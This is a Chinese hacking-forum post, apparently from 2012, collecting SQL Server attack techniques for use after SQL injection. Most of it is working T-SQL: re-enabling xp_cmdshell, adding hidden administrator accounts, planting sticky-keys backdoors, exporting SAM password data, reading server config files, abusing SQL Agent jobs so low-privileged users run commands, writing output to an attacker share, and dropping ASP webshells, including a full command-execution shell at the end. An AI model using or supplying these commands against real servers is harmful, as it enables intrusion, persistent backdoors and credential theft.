找回密码
 立即注册
查看: 3232|回复: 0
打印 上一主题 下一主题

XP_CMDSHELL恢复方法大全

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:37:30 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
1 未能找到存储过程'master..xpcmdshell'.  EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号: @0 x. d; A- p) `
恢复方法:查询分离器连接后,( o1 T! Z* q# F: m8 G6 f
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
: S4 j6 a0 w% ]5 f4 g第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
9 s" N4 a) G1 S9 }/ ]0 N然后按F5键命令执行完毕/ T# V  O2 W2 ]

) `1 E* c0 e4 R$ n+ M5 Z2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
9 w8 Z5 o. b; m; d9 y! ^恢复方法:查询分离器连接后,
2 a9 |& q; O3 e3 h& K# b( h第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell"
; S# F" y* f7 \% F' e第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
1 P; t5 T+ I' B+ Y然后按F5键命令执行完毕
6 Q3 @' N& F7 i/ C( G) N" X- b( C2 W8 r- G4 f% U- T
3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
+ d3 b: [# \$ \+ Q/ w; e3 g恢复方法:查询分离器连接后,
& Z3 I4 K9 Z* a- O( w3 G7 D第一步执行:exec sp_dropextendedproc 'xp_cmdshell'6 K) i, _& K; `/ k
第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'       ; L) ~+ v9 S1 {$ f1 s
然后按F5键命令执行完毕
+ B) x& F5 H  N6 v0 X$ y+ k$ M2 A
! g  U. `9 r3 P& N) c4 终极方法.& G: z3 ~! ]  j, [' Q2 Y7 z
如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
$ t* k+ x  C$ U; s, S" k查询分离器连接后,
- F. Y! j+ D6 d& m' x) X2000servser系统:1 L8 I5 {: K9 e$ ?
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'
% R& C# V- k' r
7 A2 B* m! ~2 g* c( ydeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'" k6 Q; _, x" S3 i2 y8 O- q

; z! }  Y* n& {xp或2003server系统:
, @' y9 O# x% K
# r/ x) n# n; l$ k3 l/ N4 \$ Cdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'! a1 R( V! y0 t2 v; e9 E* r$ F2 K- g

7 t0 J' d) v( H6 c6 Vdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'* p( W9 h3 A$ Y6 n4 v% Y
+ D4 r: k6 e" i7 b$ o7 i1 ^* ^; g$ t
/ o: f8 ^- w- }2 r$ Y
五个SHIFT
3 B3 j* i) x7 xdeclare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
2 `0 [2 t7 s- d  K2 t
% Z$ x; M& q, H3 G9 r' Q) Fdeclare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe'; ! d  O5 S; L) V+ D

2 A0 I  F- t6 ^2 i% S2 t+ E9 g2 Hxp_cmdshell执行命令另一种方法
- O4 @1 U' j6 d# Fdeclare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add' ( E* D1 Z* F, U7 Z+ }

) t* M0 J; k# o7 r判断存储扩展是否存在8 C) Z! {3 a+ A; q: J3 q- s+ l
Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
# C+ W1 o! r* j- _; N+ b返回结果为1就OK
$ T& o# I( H' j6 Q% P" @) q1 i1 I" a+ g7 }& |
4 V9 W/ i. r3 q3 Q
上传xplog70.dll恢复xp_cmdshell语句:2 C/ H$ U9 G$ e
sp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'
. D: l( K) A2 W; E4 ^; d7 x5 n5 A9 [' K7 \7 Z: {% G( D
否则上传xplog7.0.dll
) G1 u/ m8 K) K& `/ Q, [; UExec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'
' q. s6 K  G7 d; A0 r" [, W. @
& f- c8 m7 O/ w0 u
" |# Z" x* P/ T* B
4 b2 z8 K5 u: T0 L0 b* }  J首先开启沙盘模式:
  ~' E: y2 u6 oexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
+ O2 r. n; \6 D' x2 K. `+ B* \
; Q- M/ I  A* Z' C3 ~7 m0 f6 F, V3 h然后利用jet.oledb执行系统命令
; z  u1 E! |! yselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
3 r2 K; ~( B4 e6 V  Q返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1--  发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了
# s+ N3 a/ o: U# F4 ^2 T1 f# K; F! |6 {3 w

4 ~/ n/ [' O" o" ~" w  H$ e
9 J. z3 p& L8 y* R; ^恢复过程sp_addextendedproc 如下:
3 \/ Y( N; f0 M$ `4 Hcreate procedure sp_addextendedproc --- 1996/08/30 20:13 # ~/ m2 D# U; l" M8 `5 ]- i& V
@functname nvarchar(517),/* (owner.)name of function to call */ + P! b& R$ b  j, O, K: Q
@dllname varchar(255)/* name of DLL containing function */
- e, }4 y( e  ?, {: z7 Kas
8 P9 r  R+ i. ^1 A+ t  @set implicit_transactions off 7 B) p$ D& o% r; p* ?
if @@trancount > 0
. V0 e* {3 H+ mbegin
  U$ y" X: f+ q+ a- Craiserror(15002,-1,-1,'sp_addextendedproc')
4 I. C* x0 i% ^$ s3 x( C' kreturn (1) 2 r, w5 ]0 t- R4 O
end : S+ s8 e- w0 R" w& h
dbcc addextendedproc( @functname, @dllname) ' H6 ?1 A4 ~/ N" O% s
return (0) -- sp_addextendedproc * }% B, x! s( e4 w
GO % N9 t. [( ?5 K& M3 `, t1 j
9 j: p: i% }4 X- u/ {$ m* w/ `+ a
+ Q9 T+ [# u! O" }6 v- K- l

& |# g) x" Z: S: W0 Y导出管理员密码文件" f0 B2 @! t) w' {
sa默认可以读sam键.应该。
2 y0 n( H8 u  d+ Nreg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg
; ]8 q/ e; m: `/ Z. f# M8 unet user administrator test$ K3 ~* K0 J2 }6 m- o
用administrator登陆.% r9 [% F* n5 m. v  Y. a4 `; T2 A
用完机器后
: H/ z6 d( W& F7 J$ ereg import c:\test.reg
0 t5 a; k+ o; Z; z  M根本不用克隆.1 L' F* ~$ o5 K  G3 d
找到对应的sid.
/ ]4 R8 ~6 z9 T! j+ ]5 L9 P# L9 q& U  z3 K& M2 U

  T6 P9 F! }0 o. |' g2 C4 |
4 Q! V7 n3 u& D- K' X恢复所有存储过程, ]* q" c8 \% t7 C# j: U' k# r
use master
; Y7 ~# J% G) N. H% W7 T" R: oexec sp_addextendedproc xp_enumgroups,'xplog70.dll'
$ T1 ^1 Y! u/ dexec sp_addextendedproc xp_fixeddrives,'xpstar.dll' , v* W* A3 ?! J; _
exec sp_addextendedproc xp_loginconfig,'xplog70.dll'
. p  y: p+ j/ a5 d2 h0 Jexec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll'
/ W* y+ Y6 C4 f7 W& Hexec sp_addextendedproc xp_getfiledetails,'xpstar.dll' ( N, Y/ H( ~7 M. n- t/ w, t
exec sp_addextendedproc sp_OACreate,'odsole70.dll'
$ z2 P2 _& U5 D# H$ ?7 Z: ]exec sp_addextendedproc sp_OADestroy,'odsole70.dll' / |$ U7 X# i) Q0 C9 E. g
exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll' . B" u% V1 y6 E+ p6 l
exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll'
2 J$ ]$ s3 X, @! ?8 D- aexec sp_addextendedproc sp_OAMethod,'odsole70.dll' 9 W( I1 T& t/ e  A" b
exec sp_addextendedproc sp_OASetProperty,'odsole70.dll' 8 y* `: ~. r1 {
exec sp_addextendedproc sp_OAStop,'odsole70.dll' 0 F9 b3 h. k' P3 @1 e+ X( v
exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll' & Q" i2 R# p# w: ~
exec sp_addextendedproc xp_regdeletekey,'xpstar.dll' / j. J( n1 y8 I3 G
exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'
; v) v; G& V- mexec sp_addextendedproc xp_regenumvalues,'xpstar.dll' 4 ^* J# b, Y8 ?
exec sp_addextendedproc xp_regread,'xpstar.dll'
& i$ r0 w( ]+ o8 j4 m- }9 Pexec sp_addextendedproc xp_regremovemultistring,'xpstar.dll'
2 T+ ?3 \2 K% c0 {  x4 e: nexec sp_addextendedproc xp_regwrite,'xpstar.dll' 1 l* L( h0 K8 W$ G9 l/ R: x9 p* G
exec sp_addextendedproc xp_availablemedia,'xpstar.dll'
6 ?* I, g' d* l5 H# \: ^' `
3 L, c. L+ ^# p! x7 ~' s2 H2 O; j4 @( X; i
建立读文件的存储过程: `0 Y1 S1 x% `1 f5 |+ ?
Create proc sp_readTextFile @filename sysname2 g3 k8 p+ J9 t7 V; @
as
: `5 G3 P- [$ e0 Z5 j: J+ L% f4 p' k7 H  G' j
    begin
0 }6 p+ q4 h5 V+ l9 i- U) u7 Y/ \    set nocount on 9 s! q7 n* B% M9 n
    Create table #tempfile (line varchar(8000))
  h2 X- o2 x2 A& b/ E* i    exec ('bulk insert #tempfile from "' + @filename + '"')$ n: a7 w/ H( W+ L+ B
    select * from #tempfile
. o6 {3 B/ @) w    drop table #tempfile- |# {5 ~/ K3 e' D4 A
End
% y- e) j4 g: i* b  h9 C& ?$ U; U/ Q) Y. H
exec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件2 l; l8 e3 R( W0 p
查看登录用户
, w% b" ?/ X. [Select * from sysxlogins
: I! g. q9 {0 @4 V- m8 X; M
# ~4 a8 s6 S6 [# f; k8 ]/ S/ [把文件内容读取到表中
( r% W9 P, B% ]8 F% b5 v3 ^, `BULK INSERT tmp from "c:\test.txt"3 s* q: e$ y. q+ l  A+ z
dElete from 表名 清理表里的内容- f  m" i( X* S! R2 G
create table b_test(fn nvarchar(4000));建一个表,字段为fn9 o* q1 O9 e% y7 y# F# m) _) u

3 v5 w8 l: h7 H4 z9 a! U$ I; e
( v$ a$ x& m: l( S加sa用户1 ^" K9 j6 r& w; r1 |' x" f3 h
exec master.dbo.sp_addlogin user,pass;
' Y* d4 k1 u5 n+ _$ iexec master.dbo.sp_addsrvrolemember user,sysadmin) A7 u5 ^$ I) T" S
0 B/ T5 V& Y1 p- z

) p  f6 H  X: s$ {  i  Q: f3 B  s' i: x; ~
读文件代码
5 \: T& M. I2 q4 i8 u& {# D2 ^, Udeclare @o int, @f int, @t int, @ret int
; l( B2 W" b3 R5 j0 c, A- F" mdeclare @line varchar(8000)
% p9 w9 ]3 a) T* j, g( @exec sp_oacreate 'scripting.filesystemobject', @o out
9 y- V) ~  r% dexec sp_oamethod @o, 'opentextfile', @f out, '文件名', 1
8 ?( l; n+ P5 ?5 lexec @ret = sp_oamethod @f, 'readline', @line out0 Y) r; c: [: g' g; u/ e
while( @ret = 0 )
5 _) t7 A1 [" T& ]/ E& qbegin4 P2 t1 f+ ?" @% H2 O
print @line
; H; x0 A% |* l+ V1 V( zexec @ret = sp_oamethod @f, 'readline', @line out
8 t3 t5 {- X1 Hend
$ e- C2 m$ s2 j' k2 a* I  M  z7 `/ I4 g! H/ m
. z( \  G& D! ?6 d( [
写文件代码:
8 v: |* ?# b1 y, sdeclare @o int, @f int, @t int, @ret int0 }2 _4 ]* l% t% L( I. }- E; j
exec sp_oacreate 'scripting.filesystemobject', @o out
: C/ F8 {3 V  Q- x8 D9 }% \exec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 1
, q6 \2 N, v2 P% F+ ]exec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》* V- I8 B% J4 F5 n

! H9 \- y; t8 ~( j3 L4 q! {2 H
, X! r8 M( t5 N! {4 z: s添加lake2 shell% ]. _: a9 r) z# \& ?- g& `+ T8 }
sp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'
$ u: k$ r, `# ?sp_dropextendedproc xp_lake2
: L8 P. X4 Q7 x; X3 V, TEXEC xp_lake2 'net user'
2 @( z' j3 j1 _8 v4 M( ]
  ~6 g: P/ T/ W- Q) k: _; Q" P8 o- n) M* ~# d7 G9 x. J
得到硬盘文件信息
$ `  }, ]) R3 X3 x- Z/ ]--参数说明:目录名,目录深度,是否显示文件
' X" ]/ f) b; o7 Z2 pexecute master..xp_dirtree 'c:'
9 s7 c* q' H: Lexecute master..xp_dirtree 'c:',1
: M4 W- }; c( V' x2 gexecute master..xp_dirtree 'c:',1,1 , y; I: b# i; a# i2 U

, U( z; D" d1 x+ q7 k7 m& N8 p5 d; Q0 S" d) E
读serv-u配置信息# ~4 \; x$ W$ [0 }. b0 N# Q4 G3 g1 r! l! N
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt'6 v$ C( R/ q* W, H$ Z1 S
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini'5 s& B4 v( [1 K" Y, e( r5 O

( P" I5 ]* K  b& E通过xp_regwrite写SHIFT后门
( t+ ]0 }7 z  J+ S; Lexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--
: M; B2 p" o+ q; b! j4 B# h2 d0 ?6 E

* X: f  k8 Z/ J$ W% g: W& l& ]% @' `4 s( ]
找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\www.xx.com';/ M5 s6 T: n0 p2 a8 Y7 U
exec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了$ w" ?' c; [! B( |. u$ C! ^3 h
! G8 g; l8 Y  s) p& t
EXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表') U) n1 B: m1 Y
2 _. y8 x) x# r, w

1 G& \" c' y2 v* N  r- V0 U0 S$ b* V- x
sql server 2005下开启xp_cmdshell的办法
5 o, q) ?! X3 j
" G0 C5 k4 E5 g' tEXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;2 y7 S- C8 w2 ]/ \. v
; D( F' W' E* z1 j6 Q
SQL2005开启'OPENROWSET'支持的方法:! A9 f2 x4 t6 g* S6 B: P) }/ I
. S2 W  X" z) t7 C
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
/ \2 c6 A! l: ^( j: i
0 \8 [. P1 M$ eSQL2005开启'sp_oacreate'支持的方法:. D2 }, m  _6 P$ W- o! C

, N. `& ^( M9 sexec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;% ]# @0 P/ Y* z6 J  d
) V8 w# g7 n$ L/ ~5 O
4 t' R7 R9 G: N

) k6 d# {! F; X0 @6 D! K# j; u% j3 T2 A
1 r6 P- s, Q/ t# \9 C5 F9 L8 }5 `( G+ B

5 F+ p) h* A1 j- M% i5 r# c
! ?  o* z5 V( n! p, B7 X# h$ n5 ~1 M+ ^5 N) m  `- u

5 e' W6 H5 k  o- L2 k- X% v) K* v5 B* c5 {, K+ _
2 x% H# P# r+ c
' B/ I' n8 t! m" w" \' p5 F- W/ k
. v4 O( ~+ r) S% I1 E

$ Y+ u% t/ `0 B* N
3 p. n( ?, T9 T4 H" y5 H; o' b2 y) I- @* H+ Y) v

3 @+ ~7 n5 m  y# G
6 h( Z9 g7 B, Y1 b
; x  M& |; y. C% Y+ @1 a% a, M. d: h, k

9 D+ e+ f) o; r2 Y- W" k3 ^( Z8 U1 X8 Y# x
! d& C8 v& @  b+ @6 m" w
4 z1 E* G5 \- P3 t
以下方面不知道能不能成功暂且留下研究哈:" c- a; S4 X2 S  H
4)
6 C* ~3 O6 ~* P7 Muse msdb; --这儿不要是master哟
- B4 K  b$ f6 }5 H6 j; R9 n( ~exec sp_add_job @job_name= czy82 ;2 [) k  I. D, i# V7 E4 N
exec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;
' h. T  J0 k, S' kexec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;4 @/ S; y- {/ l5 @
exec sp_start_job @job_name= czy82 ;
. Z# T% C, M9 r3 {- [  q) x  d+ A" \/ E  O) |0 ]8 M% P
利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以. @- N& Y3 p* F4 F; `/ V' R6 X7 H9 L
执行tsql语句了.
# n, J. V. |4 `: d0 q, B对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名
2 v/ r( ~# t, S5 x/ W第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)$ @! D. `' j* x9 J( D/ G2 {
net start SQLSERVERAGENT5 v6 Y$ x5 A, ?8 X, G. O1 t
- i4 N4 N4 o+ y
对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的
$ t# u% e5 |9 f  j6 y# RUSE msdb
! f# T1 n9 o& l8 |5 B1 Y$ REXEC sp_add_job @job_name = GetSystemOnSQL ,
. \0 k% y8 l" b8 Y0 Y& Q@enabled = 1,
6 `+ A/ @1 u5 E" Y9 Z@description = This will give a low privileged user access to" g5 }, P# k! a8 u# j& V& }# T
xp_cmdshell ,
) |; U9 E% A$ B@delete_level = 1
9 r; F1 o/ t- ^( JEXEC sp_add_jobstep @job_name = GetSystemOnSQL ,
! C2 d. J3 x5 I@step_name = Exec my sql ,  T. M4 u; J/ `5 f
@subsystem = TSQL ,- k5 t9 I- t5 F: C/ q5 K& m% i0 r
@command = exec master..xp_execresultset N select exec( b8 C) ?+ T! g! b
master..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master
- e4 m* s; k8 O1 ZEXEC sp_add_jobserver @job_name = GetSystemOnSQL ,
( i+ `! }+ R) W( T@server_name = 你的SQL的服务器名
! y' T8 i8 r( P% _/ b- }% GEXEC sp_start_job @job_name = GetSystemOnSQL ' h# u7 Z  o; k( `: N+ `
, Y! T( {! K) j
不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以
1 w2 B" D7 D$ w) C% C0 F才让我们可以以public执行xp_cmdshell
, n2 r- g; Q8 S
0 R: X1 F+ Q+ k7 F2 z  c5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)
) V& c$ b9 U* X  ?9 ?4 O/ P  d在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=2968
. d0 ?6 @9 f. L! t4 x
8 c2 x/ ]- Z1 `1 e+ R$ ?9 yUSE msdb
+ w. a" E' i, fEXEC sp_add_job @job_name = ArbitraryFilecreate ,  X* {9 S: F3 B4 L9 ]' e% W  k
@enabled = 1,3 O0 K$ q8 T9 Y$ R; g2 l/ Y) {4 T
@description = This will create a file called c:\sqlafc123.txt ,# v9 M+ D  ]3 ~% j; a; L
@delete_level = 1
  w" R4 d2 ~7 G7 ?- UEXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,$ L( O/ L1 I5 f: Q: O
@step_name = SQLAFC ,
5 g% \$ `7 i) E5 k@subsystem = TSQL ,
- E) l8 t. Z; X% r4 R@command = select hello, this file was created by the SQL Agent. ,5 w& B# o6 f' a- I6 y8 c
@output_file_name = c:\sqlafc123.txt
$ m, M4 H8 B2 v& H6 M* \, mEXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,
9 b" D3 j: k7 X' Z5 \0 w5 U! L@server_name = SERVER_NAME 8 @, i7 V; N0 h0 c+ r0 G6 z5 c  I
EXEC sp_start_job @job_name = ArbitraryFilecreate 0 E& {' I7 c+ K& s/ P  f
- F0 p% c4 |3 f7 J- [: O
如果subsystem选的是:tsql,在生成的文件的头部有如下内容( P: S% u# l+ t  R. R
- L9 e# {5 S! O. F, `
??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:199 i& s/ W; K( N5 D: z/ t
----------------------------------------------4 H; x% w; ]2 t* s3 |. A
hello, this file was created by the SQL Agent.
0 r8 c7 E* Q- O; ~; T8 g* [9 J$ G% F+ D. Z" C0 I' [
(1 ?????)
3 @! c, _6 a! ~& O2 o# _5 Q1 x2 A  o" r+ R1 r/ x6 d7 ~- e
所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员/ v' R6 @1 O! {) x) ?% O; W
命令的vbs文件到启动目录!* c3 ~2 O$ ^9 P4 @; O
9 U* j/ d' j, Y1 U: w* r
6)关于sp_makewebtask(可以写任意内容任意文件名的文件)# R, G& ~1 V. r* i7 S6 b
关于sp_MScopyscriptfile 看下面的例子
; |- e0 L1 u. H% O8 ~* Q6 xdeclare @command varchar(100) * r4 S" n1 _% j) }" x% W; G( W
declare @scripfile varchar(200)
. g% w* b) v; ?* Pset concat_null_yields_null off 6 b- ?! {. f, s, m
select @command= dir c:\ > "\\attackerip\share\dir.txt" : M- ^- _, ^8 _5 t( ?8 j! L0 r
select @scripfile= c:\autoexec.bat > nul" | @command | rd " . }9 @& [- h1 S) O  q3 v
exec sp_MScopyscriptfile @scripfile ,
; b* j, n1 P8 \: x) Y- a1 j/ ?% T$ ]; b( |3 O
这两个东东都还在测试试哟
! B: R3 a% r) C9 h. v) V% I8 N让MSSQL的public用户得到一个本机的web shell
  k- w  e' U+ A+ T; n2 M1 R2 U" D, l
* Z6 k5 J! H* f9 C0 }6 ]sp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,
& ?+ @5 r3 {# [' _& V6 F--@query= select <img src=vbscript:msgbox(now())> 2 Q) D9 M$ a7 |3 g2 @" T1 W( e( {
--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%>
; s- T' D$ r4 K- d+ Z) B7 s5 ?@query= select 4 ]. M/ A# P; l1 E
<%On Error Resume Next
. x) G0 `' C5 L, wSet oscript = Server.createObject("wscript.SHELL")
  S  Q; w; U% j0 ^3 A# D. lSet oscriptNet = Server.createObject("wscript.NETWORK") # W  `3 i0 e; ]0 p; S
Set oFileSys = Server.createObject("scripting.FileSystemObject") * B/ c9 u2 D$ a9 B
szCMD = Request.Form(".CMD")
) ~  s2 ?) U& t) @  oIf (szCMD <>"")Then 1 e4 a7 J& E3 }' o# }: \- r
szTempFile = "C:\" & oFileSys.GetTempName()
  b- T  F* v9 f4 u, f% }Call oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True) # |* V/ @& u$ ?+ v
Set oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0) % y$ f& H+ T; f$ ^2 x2 \- u
End If %> # w8 l4 l: h/ W% Y/ Y! s) a7 X
<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method="OST"> / s2 d: l9 f7 P4 _. i6 G
<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run"> , a8 t! i) }$ A9 Q# f, N; G
</FORM><RE> ' I  K4 o. M/ _- O0 `3 O
<% If (IsObject(oFile))Then
( Y2 h' a* F* F8 v: gOn Error Resume Next
1 J6 N1 `' d4 r, n. ?$ K' v' BResponse.Write Server.HTMLEncode(oFile.ReadAll)
9 k: ^; C9 h! x0 joFile.Close + F( n; t% V8 a2 J
Call oFileSys.deleteFile(szTempFile, True) % i0 V) m  f0 v2 X& [0 |$ n% \/ N: t
End If%>
  _8 h# a  _0 q1 T  s</BODY></HTML>
; L& W: n8 K3 e1 }8 D4 {7 ~. D7 g. o
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表